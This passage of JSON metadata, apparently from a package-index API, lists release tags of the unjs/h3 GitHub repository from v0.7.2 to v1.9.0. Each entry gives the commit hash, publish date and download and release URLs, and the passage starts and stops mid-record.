ind":"commit","published_at":"2023-11-20T02:54:51.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.9.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.9.0/manifests"},{"name":"v1.8.2","sha":"01fab41bcc3681806a8101ddc12f643c759e2be5","kind":"commit","published_at":"2023-09-26T17:32:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"ba11c049a4e9a0b25a354c1810de77500285ca87","kind":"commit","published_at":"2023-08-26T20:55:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"7cebec244d8fddf3df8cea96f93fb92b846a71bc","kind":"commit","published_at":"2023-08-14T22:50:40.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0/manifests"},{"name":"v1.8.0-rc.3","sha":"67055fb993dd9bbad54bc791786bd4272537f4f7","kind":"tag","published_at":"2023-08-07T23:54:47.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.3","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.3/manifests"},{"name":"v1.8.0-rc.2","sha":"ba42c8225d7c2af948a20327dfb3a5bd82db2421","kind":"tag","published_at":"2023-08-02T12:53:54.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.2/manifests"},{"name":"v1.8.0-rc.1","sha":"cbb3198b12a043869fcb3ff8ca1d5a363606fa3c","kind":"tag","published_at":"2023-07-31T11:45:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.1/manifests"},{"name":"v1.8.0-rc.0","sha":"21d0ce7d547be16cf37bdd1f968cb482e141e0ed","kind":"commit","published_at":"2023-07-31T10:27:34.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.0/manifests"},{"name":"v1.7.1","sha":"7b5d4df6c59452f01d3a71dc31166a8edae310a8","kind":"commit","published_at":"2023-06-28T10:41:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.7.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"23b3f6b08358efc3555902145475d6daedea16f2","kind":"commit","published_at":"2023-06-20T22:01:46.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.7.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.0/manifests"},{"name":"v1.6.6","sha":"981c89f4485457f3aa49cf61deb2308a0c0bb2e8","kind":"commit","published_at":"2023-05-15T10:58:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.6","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"e437f55af27dc6206d6925406a7747c77f21f995","kind":"commit","published_at":"2023-05-05T08:32:50.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.5","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"8a92bcd3f53b7da4dfd74e47f43a01d9ca28c10d","kind":"commit","published_at":"2023-03-28T11:08:57.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.4","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"2af071bc8852f878f3b9054aec8f8b40d3088edf","kind":"commit","published_at":"2023-03-28T09:39:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.3","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"e885dc107ef89a02de88bf476b4afae9f1d2ccc7","kind":"commit","published_at":"2023-03-15T22:18:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"2a2bb50e21ba8ea6497e3ee0cca6d3f8c71570c5","kind":"commit","published_at":"2023-03-15T17:12:28.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"ff71ebaf543d2107d808453fd9efa143d92625ad","kind":"commit","published_at":"2023-03-10T16:54:49.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"abe7ddbdd7219d4f9dc322c6f2e735d1c6796f57","kind":"tag","published_at":"2023-02-16T23:50:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.5.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"6345e1e115107575f385e69c192360c14ba25c98","kind":"tag","published_at":"2023-02-08T14:11:48.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.4.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"bfcb7079ce95a7a6c305cf9d5d51238f242a2052","kind":"tag","published_at":"2023-02-08T11:37:28.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.3.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.3.0/manifests"},{"name":"v1.2.1","sha":"0ef0164cdc98709b9bf61dd26cf13f21667685c2","kind":"tag","published_at":"2023-02-07T00:03:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.2.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"4daacc5461cfba4f09bfb2c00638164c842837b7","kind":"tag","published_at":"2023-02-06T22:44:41.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.2.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"8b78592905f6843e5d61bd9aa30f869572303500","kind":"tag","published_at":"2023-01-25T22:46:50.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.1.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.1.0/manifests"},{"name":"v1.0.2","sha":"9af7e8ac837bea543489ae87cb1c9817a4cf9e6c","kind":"tag","published_at":"2022-12-13T14:02:48.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.2/manifests"},{"name":"v1.0.1","sha":"3d7652a14bd5fb88969cd79a4e3dfcb31a91212f","kind":"tag","published_at":"2022-11-15T12:04:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"e8a7b6b76f4eb8a4b21bc228dde041c722f76330","kind":"tag","published_at":"2022-11-15T12:03:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.0.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.0.0/manifests"},{"name":"v0.8.6","sha":"dab058a0d497a903961c5d3af01f7e9ea1b2b9cf","kind":"tag","published_at":"2022-10-27T12:29:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.6/manifests"},{"name":"v0.8.5","sha":"6beee463d0e95207480acfd21badc2c2fa46f6c3","kind":"tag","published_at":"2022-10-19T13:35:58.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.5/manifests"},{"name":"v0.8.4","sha":"0696caa5a36e419269d4c0ea3012ebd0fdfb089c","kind":"tag","published_at":"2022-10-18T11:16:45.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.4/manifests"},{"name":"v0.8.3","sha":"821efa04a85fd1fb366d8eda9ea9fa10fc028be3","kind":"tag","published_at":"2022-10-18T09:43:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.3/manifests"},{"name":"v0.8.2","sha":"f820b1653a6d76eedd5ab9ed48e3904a2eced3f6","kind":"tag","published_at":"2022-10-17T21:10:32.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.2","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.2/manifests"},{"name":"v0.8.1","sha":"7bccad43dcc6eafe610ca8beb1a24e941ece22e7","kind":"tag","published_at":"2022-10-15T17:48:55.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.1","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.1/manifests"},{"name":"v0.8.0","sha":"42e97e6b0a7b2bbbf3449d032e5fba0abebc3bb4","kind":"tag","published_at":"2022-10-15T12:34:09.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.8.0","html_url":"https://github.com/unjs/h3/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.8.0/manifests"},{"name":"v0.7.21","sha":"e0f3af664464d8b3acc45ca06cd480fabfd16411","kind":"tag","published_at":"2022-09-03T16:06:14.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.21","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.21","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.21/manifests"},{"name":"v0.7.20","sha":"0bc96f1231db407e6f5abb9da91f7b7f433a3f86","kind":"tag","published_at":"2022-09-03T14:00:00.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.20","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.20","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.20/manifests"},{"name":"v0.7.19","sha":"3980b32a978d8d8bf1613c7584dd99283bdff532","kind":"tag","published_at":"2022-09-01T15:46:35.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.19","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.19/manifests"},{"name":"v0.7.18","sha":"caabc2d7c809f4d8e2a4532525dce29b8cf471dd","kind":"tag","published_at":"2022-09-01T15:19:01.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.18","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.18","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.18/manifests"},{"name":"v0.7.17","sha":"124525b858be2ed10ad107b136ccef961088729d","kind":"tag","published_at":"2022-08-30T08:51:39.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.17","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.17","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.17/manifests"},{"name":"v0.7.16","sha":"ab9c2920025da850cafea1a739225a0a0d727866","kind":"tag","published_at":"2022-08-23T10:04:27.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.16","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.16","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.16/manifests"},{"name":"v0.7.15","sha":"b95ab25575e1a6c022ff40cfd731d27cb735f621","kind":"tag","published_at":"2022-08-10T15:43:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.15","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.15","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.15/manifests"},{"name":"v0.7.14","sha":"a8fa8570f2c8a31963ef480f0f739c620dd2197f","kind":"tag","published_at":"2022-08-08T12:16:42.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.14","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.14","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.14/manifests"},{"name":"v0.7.13","sha":"02f90f5b46b6307511219f086a9b9945d37abbca","kind":"tag","published_at":"2022-08-01T11:34:18.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.13","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.13","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.13/manifests"},{"name":"v0.7.12","sha":"e27f6738b143b070c3586164badf8c76bed3142e","kind":"tag","published_at":"2022-07-21T12:05:08.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.12","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.12","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.12/manifests"},{"name":"v0.7.11","sha":"219d24dd6b2a39f1b6313000e1ec8952ea1076cb","kind":"tag","published_at":"2022-07-21T11:54:04.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.11","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.11","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.11/manifests"},{"name":"v0.7.10","sha":"1c4c242cdb83436ad9248ac46e29e69e0e1ca1ae","kind":"tag","published_at":"2022-06-17T08:48:12.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.10","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.10","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.10/manifests"},{"name":"v0.7.9","sha":"9d88760063faa234a48c7511c7b5704dc89fad6c","kind":"tag","published_at":"2022-06-10T13:27:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.9","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.9","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.9/manifests"},{"name":"v0.7.8","sha":"180df7723bcbe711b3b10bb58131c39aecb68164","kind":"tag","published_at":"2022-05-04T15:23:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.8","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.8/manifests"},{"name":"v0.7.7","sha":"a32d81eae507fa1acfc9cea2da6ce99ef327aedc","kind":"tag","published_at":"2022-05-04T14:49:03.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.7","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.7/manifests"},{"name":"v0.7.6","sha":"0692656c59074c3900b92b203151590f4ab8e055","kind":"tag","published_at":"2022-04-29T09:40:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.6","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.6/manifests"},{"name":"v0.7.5","sha":"46fa4d54d870d15dfe5f0b43875b68a7c536133c","kind":"tag","published_at":"2022-04-27T13:11:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.5","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"6b7af2ccd88abaceb34e0ae1de36d650dd60a603","kind":"tag","published_at":"2022-04-14T19:51:59.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.4","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"5018ea7ff0e789ab939cb527ee8b9bbc19d59151","kind":"tag","published_at":"2022-04-12T19:10:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v0.7.3","html_url":"https://github.com/unjs/h3/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"8b2e1bcb4ab8fceeaa032951124bf0930ebcec54","kind":"tag","published_at":"2022-04-08T20:21:09.000Z","download_url":"https://codeload.github.c